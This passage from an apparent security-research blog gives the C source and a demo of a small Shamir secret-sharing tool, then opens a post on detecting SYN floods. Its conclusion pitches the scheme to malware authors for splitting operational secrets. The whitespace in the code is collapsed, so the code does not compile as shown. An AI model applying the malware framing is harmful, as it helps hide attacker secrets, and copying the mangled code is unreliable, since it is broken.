 * This is Shamir&amp;#39;s Secret Sharing in a byte field. Each input byte becomes
 * the constant term of a random degree K-1 polynomial over GF(256). Share X
 * stores f(X) for every byte. Any K unique shares reconstruct f(0), which is
 * the original secret. K-1 shares reveal no information in the ideal model.
 *
 * There is no single IETF RFC that defines this raw file format. The field
 * arithmetic uses the standard AES polynomial x^8 + x^4 + x^3 + x + 1
 * (0x11b), as specified for GF(2^8) arithmetic in FIPS-197. The container
 * below is intentionally small and documented in code for research.
 *
 * author: cocomelonc
 * educational/research PoC only.
 * https://cocomelonc.github.io
 */#ifndef _WIN32
#define _POSIX_C_SOURCE 200809L
#endif
#include&amp;lt;errno.h&amp;gt;
#include&amp;lt;inttypes.h&amp;gt;
#include&amp;lt;stdint.h&amp;gt;
#include&amp;lt;stdio.h&amp;gt;
#include&amp;lt;stdlib.h&amp;gt;
#include&amp;lt;string.h&amp;gt;
#include&amp;lt;time.h&amp;gt;#ifdef _WIN32
#include&amp;lt;windows.h&amp;gt;
#include&amp;lt;wincrypt.h&amp;gt;
#endif
#define TINY_MAGIC &amp;quot;TINY-SHAMIR-V1&amp;quot;
#define MAX_SHARES 255
#define MAX_PATH_LEN 4096
typedefstruct{uint8_tk;uint8_tn;uint8_tx;uint64_tlen;uint8_t*y;}share_t;staticuint8_tgf_exp[512];staticuint8_tgf_log[256];staticintgf_ready=0;staticvoiddie(constchar*msg){fprintf(stderr,&amp;quot;error: %s\n&amp;quot;,msg);exit(1);}staticvoid*xmalloc(size_tn){void*p=malloc(n?n:1);if(!p)die(&amp;quot;out of memory&amp;quot;);returnp;}staticuint8_tgf_mul_slow(uint8_ta,uint8_tb){uint8_tp=0;for(inti=0;i&amp;lt;8;i++){if(b&amp;amp;1U)p^=a;uint8_thi=(uint8_t)(a&amp;amp;0x80U);a=(uint8_t)(a&amp;lt;&amp;lt;1);if(hi)a^=0x1bU;b=(uint8_t)(b&amp;gt;&amp;gt;1);}returnp;}staticvoidgf_init(void){uint8_tx=1;for(inti=0;i&amp;lt;255;i++){gf_exp[i]=x;gf_log[x]=(uint8_t)i;x=gf_mul_slow(x,0x03U);}for(inti=255;i&amp;lt;512;i++)gf_exp[i]=gf_exp[i-255];gf_log[0]=0;gf_ready=1;}staticuint8_tgf_mul(uint8_ta,uint8_tb){if(!gf_ready)gf_init();if(a==0||b==0)return0;returngf_exp[gf_log[a]+gf_log[b]];}staticuint8_tgf_div(uint8_ta,uint8_tb){if(!gf_ready)gf_init();if(b==0)die(&amp;quot;division by zero in GF(256)&amp;quot;);if(a==0)return0;returngf_exp[gf_log[a]+255-gf_log[b]];}staticuint8_tpoly_eval(constuint8_t*coef,intk,uint8_tx){uint8_ty=coef[k-1];for(inti=k-2;i&amp;gt;=0;i--){y=(uint8_t)(gf_mul(y,x)^coef[i]);}returny;}staticuint8_tinterpolate_at_zero(constshare_t*shares,intk,uint64_tpos){uint8_tacc=0;for(inti=0;i&amp;lt;k;i++){uint8_txi=shares[i].x;uint8_tyi=shares[i].y[pos];uint8_tnum=1;uint8_tden=1;for(intj=0;j&amp;lt;k;j++){if(i==j)continue;uint8_txj=shares[j].x;num=gf_mul(num,xj);den=gf_mul(den,(uint8_t)(xi^xj));}acc^=gf_mul(yi,gf_div(num,den));}returnacc;}staticintsecure_random(uint8_t*buf,size_tlen){#ifdef _WIN32
staticHCRYPTPROVh=0;if(!h){if(!CryptAcquireContextA(&amp;amp;h,NULL,NULL,PROV_RSA_FULL,CRYPT_VERIFYCONTEXT))return-1;}while(len&amp;gt;0){DWORDchunk=len&amp;gt;0x40000000U?0x40000000U:(DWORD)len;if(!CryptGenRandom(h,chunk,buf))return-1;buf+=chunk;len-=chunk;}return0;#else
staticFILE*rng=NULL;if(!rng)rng=fopen(&amp;quot;/dev/urandom&amp;quot;,&amp;quot;rb&amp;quot;);if(!rng)return-1;returnfread(buf,1,len,rng)==len?0:-1;#endif
}staticuint8_t*read_file(constchar*path,uint64_t*len){FILE*f=fopen(path,&amp;quot;rb&amp;quot;);if(!f){perror(path);exit(1);}if(fseek(f,0,SEEK_END)!=0)die(&amp;quot;fseek failed&amp;quot;);longsz=ftell(f);if(sz&amp;lt;0)die(&amp;quot;ftell failed&amp;quot;);rewind(f);uint8_t*buf=xmalloc((size_t)sz);if(sz&amp;amp;&amp;amp;fread(buf,1,(size_t)sz,f)!=(size_t)sz)die(&amp;quot;read failed&amp;quot;);fclose(f);*len=(uint64_t)sz;returnbuf;}staticvoidwrite_file(constchar*path,constuint8_t*buf,uint64_tlen){FILE*f=fopen(path,&amp;quot;wb&amp;quot;);if(!f){perror(path);exit(1);}if(len&amp;amp;&amp;amp;fwrite(buf,1,(size_t)len,f)!=(size_t)len)die(&amp;quot;write failed&amp;quot;);fclose(f);}staticvoidwrite_share(constchar*path,uint8_tk,uint8_tn,uint8_tx,constuint8_t*y,uint64_tlen){FILE*f=fopen(path,&amp;quot;wb&amp;quot;);if(!f){perror(path);exit(1);}fprintf(f,&amp;quot;%s k=%u n=%u x=%u len=%&amp;quot;PRIu64&amp;quot;\n&amp;quot;,TINY_MAGIC,k,n,x,len);if(len&amp;amp;&amp;amp;fwrite(y,1,(size_t)len,f)!=(size_t)len)die(&amp;quot;share write failed&amp;quot;);fclose(f);}staticshare_tread_share(constchar*path){share_ts;charmagic[64];charheader[256];memset(&amp;amp;s,0,sizeof(s));FILE*f=fopen(path,&amp;quot;rb&amp;quot;);if(!f){perror(path);exit(1);}if(!fgets(header,sizeof(header),f))die(&amp;quot;bad share header&amp;quot;);if(sscanf(header,&amp;quot;%63s k=%hhu n=%hhu x=%hhu len=%&amp;quot;SCNu64,magic,&amp;amp;s.k,&amp;amp;s.n,&amp;amp;s.x,&amp;amp;s.len)!=5){die(&amp;quot;bad share header&amp;quot;);}if(strcmp(magic,TINY_MAGIC)!=0)die(&amp;quot;bad share magic&amp;quot;);if(s.k&amp;lt;2||s.n&amp;lt;s.k||s.x==0)die(&amp;quot;bad share parameters&amp;quot;);s.y=xmalloc((size_t)s.len);if(s.len&amp;amp;&amp;amp;fread(s.y,1,(size_t)s.len,f)!=(size_t)s.len)die(&amp;quot;short share&amp;quot;);fclose(f);returns;}staticvoidvalidate_shares(constshare_t*shares,intcount){if(count&amp;lt;1)die(&amp;quot;no shares&amp;quot;);uint8_tk=shares[0].k;uint8_tn=shares[0].n;uint64_tlen=shares[0].len;if(count&amp;lt;k)die(&amp;quot;not enough shares for threshold&amp;quot;);for(inti=0;i&amp;lt;count;i++){if(shares[i].k!=k||shares[i].n!=n||shares[i].len!=len){die(&amp;quot;shares belong to different split sets&amp;quot;);}for(intj=i+1;j&amp;lt;count;j++){if(shares[i].x==shares[j].x)die(&amp;quot;duplicate share x-coordinate&amp;quot;);}}}staticvoidcmd_split(intargc,char**argv){if(argc!=6)die(&amp;quot;usage: split &amp;lt;K&amp;gt; &amp;lt;N&amp;gt; &amp;lt;secret.bin&amp;gt; &amp;lt;share-prefix&amp;gt;&amp;quot;);intk=atoi(argv[2]);intn=atoi(argv[3]);if(k&amp;lt;2||n&amp;lt;k||n&amp;gt;MAX_SHARES)die(&amp;quot;need 2 &amp;lt;= K &amp;lt;= N &amp;lt;= 255&amp;quot;);uint64_tlen=0;uint8_t*secret=read_file(argv[4],&amp;amp;len);uint8_t*coef=xmalloc((size_t)k);uint8_t*rows=xmalloc((size_t)n*(size_t)len);for(uint64_tp=0;p&amp;lt;len;p++){coef[0]=secret[p];if(secure_random(coef+1,(size_t)(k-1))!=0)die(&amp;quot;random source failed&amp;quot;);for(intx=1;x&amp;lt;=n;x++){rows[(size_t)(x-1)*(size_t)len+(size_t)p]=poly_eval(coef,k,(uint8_t)x);}}for(intx=1;x&amp;lt;=n;x++){charpath[MAX_PATH_LEN];snprintf(path,sizeof(path),&amp;quot;%s.%03d&amp;quot;,argv[5],x);write_share(path,(uint8_t)k,(uint8_t)n,(uint8_t)x,rows+(size_t)(x-1)*(size_t)len,len);printf(&amp;quot;wrote %s\n&amp;quot;,path);}free(rows);free(coef);free(secret);}staticvoidcmd_recover(intargc,char**argv){if(argc&amp;lt;5)die(&amp;quot;usage: recover &amp;lt;out.bin&amp;gt; &amp;lt;share1&amp;gt; &amp;lt;share2&amp;gt; ...&amp;quot;);intcount=argc-3;share_t*shares=xmalloc(sizeof(*shares)*(size_t)count);for(inti=0;i&amp;lt;count;i++)shares[i]=read_share(argv[3+i]);validate_shares(shares,count);intk=shares[0].k;uint64_tlen=shares[0].len;uint8_t*secret=xmalloc((size_t)len);for(uint64_tp=0;p&amp;lt;len;p++)secret[p]=interpolate_at_zero(shares,k,p);write_file(argv[2],secret,len);printf(&amp;quot;recovered %s (%&amp;quot;PRIu64&amp;quot; bytes)\n&amp;quot;,argv[2],len);free(secret);for(inti=0;i&amp;lt;count;i++)free(shares[i].y);free(shares);}staticvoidselftest(void){if(gf_mul(0x57,0x83)!=0xc1)die(&amp;quot;GF multiply test failed&amp;quot;);for(inta=1;a&amp;lt;256;a++){if(gf_div((uint8_t)a,(uint8_t)a)!=1)die(&amp;quot;GF inverse test failed&amp;quot;);}uint8_tcoef[3]={0x42,0x11,0x99};share_ts[3];uint8_ty0=poly_eval(coef,3,1);uint8_ty1=poly_eval(coef,3,2);uint8_ty2=poly_eval(coef,3,5);s[0]=(share_t){3,5,1,1,&amp;amp;y0};s[1]=(share_t){3,5,2,1,&amp;amp;y1};s[2]=(share_t){3,5,5,1,&amp;amp;y2};if(interpolate_at_zero(s,3,0)!=0x42)die(&amp;quot;Lagrange interpolation test failed&amp;quot;);puts(&amp;quot;selftest: ok&amp;quot;);puts(&amp;quot;  GF(256): 0x57 * 0x83 == 0xc1&amp;quot;);puts(&amp;quot;  Lagrange: recovered f(0) from shares at x=1,2,5&amp;quot;);}staticuint64_tnow_us(void){#ifdef _WIN32
LARGE_INTEGERfreq,ctr;QueryPerformanceFrequency(&amp;amp;freq);QueryPerformanceCounter(&amp;amp;ctr);return(uint64_t)((ctr.QuadPart*1000000ULL)/freq.QuadPart);#else
structtimespects;clock_gettime(CLOCK_MONOTONIC,&amp;amp;ts);return(uint64_t)ts.tv_sec*1000000ULL+(uint64_t)ts.tv_nsec/1000ULL;#endif
}staticvoidcmd_bench(intargc,char**argv){if(argc!=7)die(&amp;quot;usage: bench &amp;lt;K&amp;gt; &amp;lt;N&amp;gt; &amp;lt;size-bytes&amp;gt; &amp;lt;rounds&amp;gt; &amp;lt;out.csv&amp;gt;&amp;quot;);intk=atoi(argv[2]);intn=atoi(argv[3]);uint64_tlen=(uint64_t)strtoull(argv[4],NULL,10);introunds=atoi(argv[5]);if(k&amp;lt;2||n&amp;lt;k||n&amp;gt;MAX_SHARES||rounds&amp;lt;1)die(&amp;quot;bad bench parameters&amp;quot;);FILE*csv=fopen(argv[6],&amp;quot;wb&amp;quot;);if(!csv){perror(argv[6]);exit(1);}fprintf(csv,&amp;quot;k,n,size,round,split_us,recover_us\n&amp;quot;);uint8_t*secret=xmalloc((size_t)len);uint8_t*coef=xmalloc((size_t)k);uint8_t*ys=xmalloc((size_t)n*(size_t)len);uint8_t*recovered=xmalloc((size_t)len);if(secure_random(secret,(size_t)len)!=0)die(&amp;quot;random source failed&amp;quot;);for(intr=0;r&amp;lt;rounds;r++){uint64_tt0=now_us();for(uint64_tp=0;p&amp;lt;len;p++){coef[0]=secret[p];if(secure_random(coef+1,(size_t)(k-1))!=0)die(&amp;quot;random source failed&amp;quot;);for(intx=1;x&amp;lt;=n;x++){ys[(size_t)(x-1)*(size_t)len+(size_t)p]=poly_eval(coef,k,(uint8_t)x);}}uint64_tt1=now_us();share_t*shares=xmalloc(sizeof(*shares)*(size_t)k);for(inti=0;i&amp;lt;k;i++){shares[i].k=(uint8_t)k;shares[i].n=(uint8_t)n;shares[i].x=(uint8_t)(i+1);shares[i].len=len;shares[i].y=ys+(size_t)i*(size_t)len;}uint64_tt2=now_us();for(uint64_tp=0;p&amp;lt;len;p++)recovered[p]=interpolate_at_zero(shares,k,p);uint64_tt3=now_us();if(memcmp(secret,recovered,(size_t)len)!=0)die(&amp;quot;bench recovery mismatch&amp;quot;);free(shares);fprintf(csv,&amp;quot;%d,%d,%&amp;quot;PRIu64&amp;quot;,%d,%&amp;quot;PRIu64&amp;quot;,%&amp;quot;PRIu64&amp;quot;\n&amp;quot;,k,n,len,r,t1-t0,t3-t2);}fclose(csv);free(recovered);free(ys);free(coef);free(secret);printf(&amp;quot;wrote %s\n&amp;quot;,argv[6]);}staticvoidusage(void){puts(&amp;quot;tiny-shamir - Shamir threshold sharing PoC&amp;quot;);puts(&amp;quot;usage:&amp;quot;);puts(&amp;quot;  tiny-shamir split &amp;lt;K&amp;gt; &amp;lt;N&amp;gt; &amp;lt;secret.bin&amp;gt; &amp;lt;share-prefix&amp;gt;&amp;quot;);puts(&amp;quot;  tiny-shamir recover &amp;lt;out.bin&amp;gt; &amp;lt;share1&amp;gt; &amp;lt;share2&amp;gt; ...&amp;quot;);puts(&amp;quot;  tiny-shamir selftest&amp;quot;);puts(&amp;quot;  tiny-shamir bench &amp;lt;K&amp;gt; &amp;lt;N&amp;gt; &amp;lt;size-bytes&amp;gt; &amp;lt;rounds&amp;gt; &amp;lt;out.csv&amp;gt;&amp;quot;);}intmain(intargc,char**argv){if(argc&amp;lt;2){usage();return2;}if(strcmp(argv[1],&amp;quot;split&amp;quot;)==0){cmd_split(argc,argv);}elseif(strcmp(argv[1],&amp;quot;recover&amp;quot;)==0){cmd_recover(argc,argv);}elseif(strcmp(argv[1],&amp;quot;selftest&amp;quot;)==0){selftest();}elseif(strcmp(argv[1],&amp;quot;bench&amp;quot;)==0){cmd_bench(argc,argv);}else{usage();return2;}return0;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;demo&lt;/h3&gt;&lt;p&gt;compile it for Linux:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;gcc -std=c11 -Wall-Wextra-O2 tiny_shamir.c -o tiny-shamir&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/2026-07-02_10-38.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;Cross-compile for Windows:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;x86_64-w64-mingw32-gcc -std=c11 -Wall-Wextra-O2 tiny_shamir.c -o tiny-shamir.exe -ladvapi32&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/2026-07-02_10-39.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;The CLI is intentionally small:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;./tiny-shamir split &amp;lt;K&amp;gt; &amp;lt;N&amp;gt; &amp;lt;secret.bin&amp;gt; &amp;lt;share-prefix&amp;gt;
./tiny-shamir recover &amp;lt;out.bin&amp;gt; &amp;lt;share1&amp;gt; &amp;lt;share2&amp;gt; ...
./tiny-shamir selftest
./tiny-shamir bench &amp;lt;K&amp;gt; &amp;lt;N&amp;gt; &amp;lt;size-bytes&amp;gt; &amp;lt;rounds&amp;gt; &amp;lt;out.csv&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Let’s create a tiny secret:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;printf&amp;#39;meow meow secret\nthreshold PoC\n&amp;#39;&amp;gt; secret.txt&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/2026-07-02_11-25.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;Split it as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3-of-5&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;./tiny-shamir split 3 5 secret.txt share&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/2026-07-02_11-27.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;This creates five files:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;share.001
share.002
share.003
share.004
share.005&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Recover from shares &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;./tiny-shamir recover recovered-123.txt share.001 share.002 share.003&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/2026-07-02_11-28.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;Recover from a different valid combination, for example &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;./tiny-shamir recover recovered-245.txt share.002 share.004 share.005&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/2026-07-02_11-28_1.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;Check that the recovered files are identical:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;sha256sum secret.txt recovered-123.txt recovered-245.txt&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/2026-07-02_11-29.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;As you can see, both valid threshold combinations recover the same secret.&lt;/p&gt;&lt;p&gt;Now try to recover using only two shares:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;./tiny-shamir recover bad.txt share.001 share.002&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/2026-07-02_11-30.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;As you can see, the program rejects it with message:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;error: not enough shares for threshold&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is exactly what we want.&lt;/p&gt;&lt;p&gt;For a quick timing check, run the built-in benchmark:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;./tiny-shamir bench 3 5 1048576 5 bench_1mb.csv&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/2026-07-02_11-40.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;The two math graphs are generated by the small plotting script from the project:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;python3 plot_math.py ./tiny-shamir ./tiny_shamir.c .&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This command creates &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gf256_nonlinearity.png&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;entropy_secrecy.png&lt;/code&gt; in the current directory. The first graph compares multiplication in \(\mathrm{GF}(2^8)\) with plain integer multiplication modulo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;256&lt;/code&gt;; it visually shows why we need real finite-field arithmetic instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mod 256&lt;/code&gt; arithmetic.&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/gf256_nonlinearity.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;The second graph measures byte-value distributions and Shannon entropy for the original source file and the generated Shamir shares. The original file has structure, but the shares look close to random noise, which is exactly what we expect from random polynomial coefficients.&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/entropy_secrecy.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;To run the dataset experiment and draw the graph, use the Python plotting helper:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;python3 plot_dataset.py ./tiny-shamir ./dataset_1000 3 5 results_1000.csv results_1000.png&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/results_1000.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;The CSV contains one row per file: file size, threshold parameters, split time, recover time, and the SHA-256 verification result. The graph plots file size on the X axis and time on the Y axis. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;split&lt;/code&gt; line is usually higher because the program evaluates the polynomial for all &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;N&lt;/code&gt; shares, while &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recover&lt;/code&gt; uses only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;K&lt;/code&gt; shares for interpolation.&lt;/p&gt;&lt;h3&gt;self-test&lt;/h3&gt;&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;selftest&lt;/code&gt; command checks two things:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;./tiny-shamir selftest&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/214/2026-07-02_10-43.png&quot; alt=&quot;cryptography&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;First, it checks a known AES field multiplication value:&lt;/p&gt;

\[0x57 \cdot 0x83 = 0xc1\]

&lt;p&gt;Second, it builds a known polynomial:&lt;/p&gt;

\[f(x) = 0x42 + 0x11x + 0x99x^2\]

&lt;p&gt;Then it evaluates the polynomial at:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;x = 1, 2, 5&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;and confirms that Lagrange interpolation reconstructs:&lt;/p&gt;

\[f(0) = 0x42\]

&lt;p&gt;This is a small but useful sanity test: if field multiplication or interpolation is wrong, the entire scheme is broken.&lt;/p&gt;&lt;h3&gt;conclusion&lt;/h3&gt;&lt;p&gt;Shamir Secret Sharing is one of those cryptographic ideas that feels almost too simple when you first see it: hide a secret as \(f(0)\), give people points on the polynomial, and require enough points to reconstruct the polynomial. But the details matter: the math must happen over a field, random coefficients must be generated correctly, share coordinates must be distinct, and binary formats must be parsed carefully.&lt;/p&gt;&lt;p&gt;For malware and red team research, this gives us an interesting primitive: operational secrets do not have to live in one place. For blue team research, it is also a useful mental model: not every secret is stored as one obvious key blob. Sometimes a system only becomes dangerous when several fragments are combined.&lt;/p&gt;&lt;p&gt;This PoC is intentionally tiny, auditable, and boring in the right places. It is not a production secret-storage tool. It is a research implementation that makes the mathematics visible.&lt;/p&gt;&lt;p&gt;I hope this post is useful for malware researchers, cryptography enthusiasts, red teamers, and blue team specialists.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://web.mit.edu/6.857/OldStuff/Fall03/ref/Shamir-HowToShareASecret.pdf&quot;&gt;Adi Shamir - How to Share a Secret&lt;/a&gt;&lt;br/&gt;&lt;a href=&quot;https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.197-upd1.pdf&quot;&gt;FIPS 197 - Advanced Encryption Standard (AES)&lt;/a&gt;&lt;br/&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Lagrange_polynomial&quot;&gt;Lagrange polynomial&lt;/a&gt;&lt;br/&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Finite_field_arithmetic&quot;&gt;Finite field arithmetic&lt;/a&gt;&lt;br/&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Shamir%27s_secret_sharing&quot;&gt;Shamir’s Secret Sharing&lt;/a&gt;&lt;br/&gt;&lt;a href=&quot;https://github.com/cocomelonc/tiny-shamir&quot;&gt;source code in github&lt;/a&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;This is a practical case for educational purposes only.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Thanks for your time happy hacking and good bye!  &lt;br/&gt;&lt;em&gt;PS. All drawings and screenshots are mine&lt;/em&gt;&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Anti-DDoS research part 3: SYN flood detection with handshake asymmetry. Simple C, Python examples.</title>
<link>https://cocomelonc.github.io/linux/2026/06/30/ddos-syn-flood-detection-1.html</link>
<guid isPermaLink="false">8OKjDfLGkJhpOIv6jFWyZgewJL_JfP4cw3GHeQ==</guid>
<pubDate>Wed, 26 Aug 2026 09:37:29 +0000</pubDate>
<description>﷽</description>
<content:encoded>&lt;p&gt;﷽&lt;/p&gt;&lt;p&gt;Hello, cybersecurity enthusiasts and white hackers!&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/213/2026-07-01_12-05.png&quot; alt=&quot;syn-asym&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;In the previous Anti-DDoS posts I used wavelets for traffic anomaly detection. Today I want to switch from generic signal processing to a protocol-aware detector.&lt;/p&gt;&lt;p&gt;The target is a classic L4 attack:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TCP SYN flood.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;No production architecture. No private telemetry. No attack tooling. Just defensive analysis on the public CICDDoS2019 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Syn.csv&lt;/code&gt; file.&lt;/p&gt;&lt;h3&gt;idea&lt;/h3&gt;&lt;p&gt;A simple SYN flood detector can look only at volume:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;TCP flows/sec
packets/sec
SYN packets/sec&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is useful, but not enough as a general principle. The cybersecurity meaning of SYN flood is not just “many packets”. It is:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;many connection attempts without proportional handshake completion.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;The TCP handshake is:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;client -&amp;gt; server: SYN
server -&amp;gt; client: SYN-ACK
client -&amp;gt; server: ACK&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;For a healthy service, request and response directions should have some symmetry. During a SYN flood, the forward direction becomes much stronger than the backward/completed side.&lt;/p&gt;&lt;p&gt;In CICFlowMeter CSV we do not have perfect kernel TCP state. But we do have useful flow-level proxy fields:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;Total Fwd Packets
Total Backward Packets
SYN Flag Count
ACK Flag Count
Label
Timestamp
Protocol&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;So we can build a practical approximation of handshake asymmetry.&lt;/p&gt;&lt;h3&gt;dataset&lt;/h3&gt;&lt;p&gt;I use the real CICDDoS2019 file:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;./03-11/Syn.csv&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/213/2026-07-01_09-53.png&quot; alt=&quot;syn-asym&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;As you can see, this file is large:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;1.8 GB&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The preparation script streams it line by line and aggregates it into seconds. It does not load the whole CSV into memory.&lt;/p&gt;&lt;p&gt;Run:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;python3 prepare_syn_real.py \--input /home/cocomelonc/research/datasets/ddos/03-11/Syn.csv \-o syn_handshake_timeseries.csv \--attack-label 